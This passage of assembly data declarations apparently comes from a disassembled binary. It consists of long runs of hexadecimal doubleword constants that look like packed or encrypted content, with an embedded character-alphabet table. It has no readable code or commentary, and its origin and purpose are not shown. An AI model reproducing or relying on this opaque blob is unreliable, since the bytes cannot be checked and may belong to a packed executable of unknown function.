0DB4D3FE3h, 0C8004AECh dd 142FBECBh, 58C64175h, 551C1E44h, 0B7D0C06Ah, 7C4CB950h dd 94613Dh, 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h dd 400923AAh, 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h dd 0C8FB14F4h, 0AE02750Dh, 44748861h, 5064090h, 9B7BB9h dd 0F859F913h, 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h dd 4B6F7181h, 0C9606042h, 2A001E75h, 2E8F039Eh, 0FC1CE9h dd 73706C85h, 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh dd 8B1CF3CBh, 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh dd 3C961F74h, 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh dd 2E10C08Bh, 2AE200B5h, 0B297C44Ch, 590F44CCh, 40D4E542h dd 0D0112CF2h, 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h dd 48901h, 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h dd 7CD5B4ACh, 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h dd 90BBA27h, 0E1F9BAFh, 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h dd 0C80720E9h, 54046A00h, 37503056h, 0DF442568h, 16245500h dd 420099BAh, 90A4D4B8h, 7F4ACC7h, 4A045698h, 0FB8069FAh dd 80102903h, 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h dd 98008C31h, 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h dd 70FACACBh, 8902807Bh, 0C2D40E09h, 825AC0C1h, 25E43Dh dd 75B0A166h, 0E80C5E5Ah, 0DDD0F00h, 13C4F330h, 0FEDB0016h dd 0C32FC2D9h, 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h dd 0BC16CC20h, 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh dd 0D8434B5Fh, 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh dd 0EB41120Eh, 0A30FE620h, 144D0500h, 24731682h, 2210032h dd 774CCE54h, 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh dd 8DC0C084h, 29005077h, 0B75AF7E8h, 5C63B9C4h, 9000940Fh dd 1F783352h, 55007EEBh, 4882694h, 7121179h, 0A2C314A4h dd 0FA56F003h, 4E039FACh, 30E2B810h, 7459D898h, 736B040h dd 0C4370E64h, 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h dd 471C4D6h, 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h dd 1A0C5903h, 1EE0B879h, 373E14CEh, 0B4080065h, 0B648E82Ch dd 20990024h, 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h dd 0BB3A00FBh, 5EDA90F5h, 850054E0h, 24D6D07Ah, 710BCF8h dd 810D48D7h, 411BF0BDh, 1C00752Fh, 0EE5C987Ah, 0E88BFD44h dd 25A000D4h, 469437E8h, 23017542h, 0EC971C9Ch, 48F02259h dd 4F6100B5h, 95A0056Ah, 90014EBh, 4A339D2Bh, 20CCC5h dd 0E85CB227h, 45759331h, 8842D01Fh, 24FEF300h, 11196h dd 0BB125F22h, 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch dd 69D61C4Fh, 0BB002145h, 0E0F31E12h, 0B5D831h, 0CE4D59E3h dd 36D022Bh, 832EFF00h, 4B58BFD5h, 26360065h, 3F9DA4C2h dd 5D0038A1h, 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h dd 0A1FE3B6h, 28C01B6Bh, 0C896C0Dh, 0F8C60F67h, 420CAACh dd 0B026CC91h, 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h dd 0C0509DA5h, 6FCC4B6h, 0C800BDEAh, 8D22CC64h, 90504AA3h dd 0A48C0EDCh, 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h dd 2E01A6h, 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h dd 0D0A10013h, 7F80F0C2h, 1A012A61h, 409F0F2Fh, 9A70C8C4h dd 7A9700CFh, 0E6B4035Ah, 6A7F2736h, 8ACA5100h, 7CE966A8h dd 10680013h, 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h dd 98FAD3h, 0D217A33Bh, 8D7D30ABh, 0B3044700h, 9BBA693h dd 0DDDB0184h, 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h dd 5212C3Dh, 4D6E008Bh, 3B022408h, 0F5000789h, 0C3C7B5FCh dd 5810DBCFh, 5A009471h, 0EC598B7Eh, 8003A234h, 0FC9182B7h dd 0F3C095B4h, 3E6CFEh, 5A8F59F5h, 7E03C48Dh, 0BAF82000h dd 5292B102h, 9A7E6B7h, 78800498h, 0BE00AA74h, 691B6693h dd 168D0034h, 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h dd 331720F3h, 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h dd 2E5DDD34h, 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h dd 0FB709CB8h, 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h dd 55B88B04h, 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h dd 8880B494h, 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah dd 600F060Bh, 7216EA83h, 0EB100403h, 90F8A123h, 0E421DDDFh dd 74400FCh, 0C50477C1h, 340062C9h, 0CFF14858h, 247DC752h dd 0ABDC50h, 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh dd 0CFE200FCh, 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h dd 0D40DA092h, 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h dd 0EECF869h, 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h dd 68C1A1E0h, 0FB0A8058h dd 0FC00EA51h, 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h dd 0F0466909h, 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh dd 8C41FC2Ch, 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh dd 9AC02456h, 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch dd 6A0D4680h, 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h dd 8EEB7C72h, 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h dd 408C012Fh, 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h dd 2B30487h, 9D09CB08h, 200C9C03h, 160EF80Dh, 1A840090h dd 687013E8h, 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h dd 54CEE6EAh, 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h dd 2EAD812h, 7B8300A8h, 0F7F6114h, 7C00A522h, 0B4496847h dd 589C88h, 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h, 719684FCh dd 66D900A4h, 0A114B8FCh, 2500DA48h, 658B378Dh, 32E0A95h dd 0E81F39B9h, 16E02AA7h, 2098B464h, 57335007h, 0C0C0BE8Bh dd 3AC4443Ah, 3DBC990Bh, 4210C883h, 0B5F87DCCh, 522D0DD0h dd 7F5500D4h, 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h dd 96633401h, 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh dd 0A832A4C4h, 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h dd 6E606E22h, 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh dd 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch dd 39EFC89h, 0C2B8D00Bh, 0CB0103FDh, 74917208h, 3430641Dh dd 2273002Ch, 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h dd 0FDED83h, 0E1E0DD7Dh, 0A176F001h, 7D0B6600h, 855EA488h dd 5D4000A5h, 38FF4C15h, 61DB292h, 0BE004657h, 8835905h dd 0C99407F0h, 0F7CDDBh, 8257E815h, 0F6B82503h, 0B0216ACAh dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h, 0FECB1907h dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h, 0E47D56h dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h, 0EE6DA2Dh dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h, 0DC940Ch dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h, 0E18A64h dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h, 0BC70049h dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h, 0ACBE0460h dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h, 0EFE50203h dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah, 3B159449h dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h, 1D5540C5h dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h, 0CCF26007h dd 0B7500CBh, 2C683EEh, 0E003255Fh, 7A2A1D0Ah, 0CC50F040h dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h, 6D53F92Ch dd 7C9842h, 0FBE82A14h, 0BF1BEAFAh, 4500B1F6h, 0E05135Eh dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h, 196E4C16h dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh dd 0D11F3Bh, 2D7B5D3Ch, 0E468A3h, 0F8B8292Ah, 8D4C4D2h dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh, 6D1EBA3Ah dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h, 0DDABC0E3h dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch, 0DB84CE52h dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h, 3F094091h dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h, 0D925BD38h dd 5A06EC3Dh, 0B60A5Ch, 13406974h, 3D21E992h, 3E7CA84Bh dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh, 5C328085h dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh, 58891040h dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh, 88DC0FA1h dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h, 0CA88CABh dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh dd 38E0AC84h, 7CEFD80h, 1CF47Ch, 68281178h, 89740F18h dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h dd 9FC700Ah, 7D97E800h, 81BA2098h, 80510995h, 0E0803F60h dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h, 0F3133AFCh dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh, 18BF0372h dd 2C7F40FBh dd 9B831F4Ch, 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h dd 0F3E11CC8h, 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h dd 0E76D6123h, 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h dd 6C30BFF3h, 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh dd 8C44A0A1h, 10917BEh, 763352A3h, 0E011D825h, 88028F4Bh dd 0AAC81B1h, 2B57E0C0h, 0C3B01F82h, 86E64084h, 2D3D1480h dd 6D55AA12h, 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h dd 0C97E0B1Ah, 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh dd 0D8F320D9h, 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h dd 8A001508h, 6623A2E0h, 0A20E86ABh, 2A54C0C3h, 4081007Fh dd 0E3FE3306h, 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h dd 116049D2h, 2BB48719h, 86081C01h, 27204EAh, 0EB09330h dd 0E65D8A45h, 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h dd 83067Dh, 0D7DAF7A7h, 0B1E46A6Fh, 0C4008AE0h, 8B5092AAh dd 32DC61h, 258C35F7h, 5B23F1Dh, 49430A01h, 0ED15D50Bh dd 8BE980E7h, 0AA040709h, 10F8DC3Bh, 4B735852h, 830E0F98h dd 0A01D12FAh, 5638BA05h, 496F00E2h, 0EB04D6B5h, 0DB013328h dd 0E03A8889h, 48C0C11Dh, 0F60300B3h, 43DC8AF3h, 1488EACh dd 4B0D002Dh, 3DA0F475h, 0C57C031Eh, 4AEAEB32h, 0C3FF1AA8h dd 3C2EE358h, 0C058073h, 27F97541h, 26CF072Bh, 708EC3F7h dd 81891D8Ah, 46A43200h, 220B6452h, 0F211CF1h, 0D93A0004h dd 0E9027F76h, 8DDDCC00h, 1A9B9C09h, 0C9241790h, 48F805h dd 1E74D03Ch, 7E537651h, 7A293B48h, 0AE92AA8h, 3E80C8Ch dd 0F7CC0784h, 595B407Fh, 0E2014312h, 0AC0BEBDCh, 7DC04A35h dd 5C00041h, 0EADFC42Bh, 26B8B701h, 0BA402A00h, 0BDE7602h dd 1720029Bh, 289958F7h, 2DFDACE0h, 831A473Fh, 0F97E05D4h dd 0EB48DBB6h, 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h dd 3600FD20h, 33C81067h, 299D28h, 99593577h, 6E1940D0h dd 0D9D60B1Eh, 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h dd 0E9EAC1EAh, 136BC200h, 8C5AE8Fh, 5D770Bh, 0DE4F1673h dd 68C61B28h, 0F0578D00h, 5A80E84Ch, 9C220081h, 4BE96CBAh dd 591F13F4h, 60C79001h, 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h dd 0E3AFF599h, 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h dd 16207536h, 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh dd 3046BA33h, 403421EBh, 0B716C30Eh, 8745C019h, 0DA74D7h dd 55F0F73Bh, 4E775D05h, 1C042498h, 0D0E9FB26h, 8BF00BBh dd 3CAC1DE3h, 374272Ch, 4D228039h, 103E9620h, 0EF560060h dd 648AEDE2h, 47F1906h, 52450B07h, 0C373020Dh, 3AAC88C0h dd 0D0F400C4h, 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch dd 0A1C76630h, 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h dd 3925E430h, 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h dd 653B3Ah, 1896DF36h, 0D78B46h, 424039EBh, 0D32D4CD8h dd 1EDBFE01h, 0CABF79DAh, 83C7D4h, 0F7D9E880h, 0EC5589C1h dd 3E60CB00h, 0EB01F8A2h, 71A400B6h, 1432AF43h, 0A7002DAEh dd 0A1B42B93h, 9C0FFAh, 0FBC1B801h, 589666EBh, 116BEC00h dd 2703F80Eh, 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h dd 0E4E7006Ah, 222C35Bh, 6084482Ah, 61E06B29h, 0E48BA13h dd 0C20776A2h, 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h dd 0D1F0EAF8h, 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh dd 270045CEh, 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h dd 0C0074FC4h, 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh dd 803C2606h, 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h dd 0A4A68146h, 5ECDE4F9h, 3880500h, 0EE8A6B53h, 8DCF1F2Ah dd 0D6AD8742h, 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h dd 7FD307Ch, 4DFF01F5h, 7475F425h, 0BB0D00C4h, 3414DE45h dd 0E40FC400h, 41AB127Eh, 43290104h, 4B0B1F91h, 0F9987150h dd 0DEC16031h, 6BB86600h, 2E6C9622h, 9E1E00EBh, 9A88FC25h dd 0DD004517h, 0F7EE7E0h, 1CC9B258h, 808DF228h, 0BF065975h dd 0C200AA9Ah, 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h dd 736D3100h, 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h dd 0A03D0320h, 58227507h, 4600BB09h, 119FA506h, 737B90AAh dd 9D7E811Fh, 326B800h, 0E1340h, 0CDC43C6h, 0DB8D6BE9h dd 2D2E0801h, 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h dd 0E051ECA2h, 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h dd 9BF2D8A7h, 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h dd 0F8EF80BCh, 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah dd 7DDE515h, 8E8C0h, 660F7004h, 45E33005h, 621DE27Ch, 480032EBh dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h dd 712FF83h, 8027730Fh, 351F707Ch, 44E425C6h, 4FE00E00h dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h dd 525F9862h, 7A533530h, 21190325h, 0F150A190h, 77835688h dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h, 5C2C9DAEh dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h, 0F4891BFh dd 82D0EFDh, 81A70064h, 0B6B3DAh, 15730DE0h, 0E0549F2h dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh, 0EBECCC49h dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch dd 0B009873h, 3134C8Dh, 0C61602h, 80D58207h, 0F7D1853Fh dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h, 464E0107h dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh, 0E83B960Ch dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h, 0C40027DDh dd 0F03A2CF3h, 0F730Ah, 290DDA26h, 0CE904349h, 53B80600h dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h, 6BE4002Ah dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h dd 0B871F8h, 250E978Ah, 0F0340F4h, 0B67850Fh, 7606A055h dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h, 56520027h dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh, 302F206Eh dd 42E4F178h dd 1C0E397Eh, 0E7760410h, 0A8340E1h, 2B110082h, 5025D453h dd 8B0BB273h, 33E9ABAh, 0F860A7EEh, 0E1A5D84Eh, 1318960h dd 0F71EE3DBh, 408A07D0h, 97C1FF8Fh, 0D80E1879h, 0D108B3h dd 350573E0h, 71060B41h, 70809DDBh, 0ACE6E2F3h, 85C33803h dd 0B9038B61h, 53F8F420h, 1F30E618h, 3085DF2h, 98DB0CE6h dd 0F410E099h, 8D122E7Ch, 0E0E3353h, 0E7D140B0h, 0D74DFDh dd 0AEF8DC3Dh, 0F2015AC3h, 76F68500h, 3C647163h, 0CAE029h dd 0EEE0E9C1h, 35FF983h, 1F7E800h, 0E78166FAh, 0BA0F00FFh dd 2CE5C26h, 0C7003BF8h, 9DD02177h, 10CDF5h, 4E14069Fh dd 0E09373FAh, 0B507247Eh, 47E88801h, 0C5BF023Bh, 0EB3FC07Eh dd 212C011Ch, 1F0F5372h, 0CC10E4C6h, 4E0002E0h, 0B8B9D75h dd 0E498C985h, 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah, 0E54EB014h dd 2BA9008Ch, 4C770CBAh, 0DAB8177Dh, 0C2690145h, 30080110h dd 0CE1F71A7h, 3ABE5920h, 16378099h, 0B1438D27h, 0E06E00C3h dd 0E9775A35h, 0CC03CA55h, 0C085C950h, 0C73CA876h, 0D6810033h dd 0F30C5D70h, 100E540h, 0DC92772h, 71C2F002h, 0D68B3E13h dd 0CF507480h, 0F8D103D2h, 87057539h, 0CEB3201h, 0B4A6B080h dd 0A02F0054h, 91757948h, 11FE42A5h, 0B657700h, 75676B5h dd 5478ABh, 9D7B22BBh, 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h dd 0A049481Ch, 0CE34A11Dh, 52E0880Ah, 0FED0845Fh, 77F23200h dd 0C8F94CAh, 0FAD1004Bh, 8A7F2089h, 11005653h, 0B8E1CB27h dd 0ADA17h, 76F4F0Fh, 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh dd 759F008Bh, 5334AA87h, 0C7027C8Dh, 0CA1E88A3h, 840740C3h dd 28A00D5h, 274307ECh, 0DE004647h, 7570B033h, 28E6E8h dd 2A09BC80h, 4B26048Bh, 16C78A00h, 0F13E0649h, 0F40000Dh dd 0C8E65B81h, 7D3B0C34h, 37311824h, 5711DCh, 40478014h dd 0D97B754Bh, 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h dd 0F8E280ECh, 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h dd 0D9B013FCh, 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh dd 0A5799FD7h, 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h dd 0C70A57E2h, 88A11C00h, 0F21F75Dh, 408C0059h, 183C8D12h dd 307F2AC3h, 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h dd 0FC3245F3h, 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h dd 0E07D3173h, 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch dd 9BDD88B0h, 1A1D0C71h, 0A89DE410h, 6EB78680h, 0C776B4h dd 0DE3D34Ah, 0D6E8FD4Fh, 7E400401h, 4730BE21h, 0E0446130h dd 13FF7D18h, 1A2CBFh, 0AF4ED6FAh, 0F2B89F23h, 59760E9h dd 5FE4FE00h, 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h dd 33ADFC00h, 8D487C06h, 89231FBBh, 0A7084157h, 61042035h dd 904EF815h, 54A2FE03h, 8041C59Ch, 7444342h, 48474645h dd 4B4A0049h, 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h dd 62615A59h, 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch dd 7271706Fh, 75740073h, 780E7776h, 307A79h, 34333231h dd 37361C35h, 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh dd 703A3B2Ch, 5C5F002Dh, 927222Ah, 91000D0Ah, 0AAE4C4E0h dd 7388E867h, 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h dd 1490B926h, 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h dd 5C49E960h, 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh dd 96FC6B5Bh, 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h dd 0FC66C204h, 190759E4h, 941FEBECh, 956BC70h, 4052008Ah dd 0D4CF5C7Ch, 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh dd 83481F05h, 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h dd 0C6660347h, 11F01600h, 5521429Fh, 4ABF0051h, 6C7EE292h dd 0BB0076E1h, 0EB071569h, 41B929h, 0DC30630Ah, 0AB83E806h dd 5600807Eh, 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h dd 8F82B80Eh, 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h dd 0C7143032h, 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h dd 41FA6E7Eh, 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh dd 15684A00h, 648CD44h, 387A4Bh, 519E418Bh, 2F02BAF3h dd 921ACF07h, 0E83084E9h, 7BDD206h, 0A7EC4FF9h, 2ADF90C2h dd 2004589h, 169F4999h, 0ECD9C65Ah, 6B7623h, 2F42C288h dd 0F0CA36FFh, 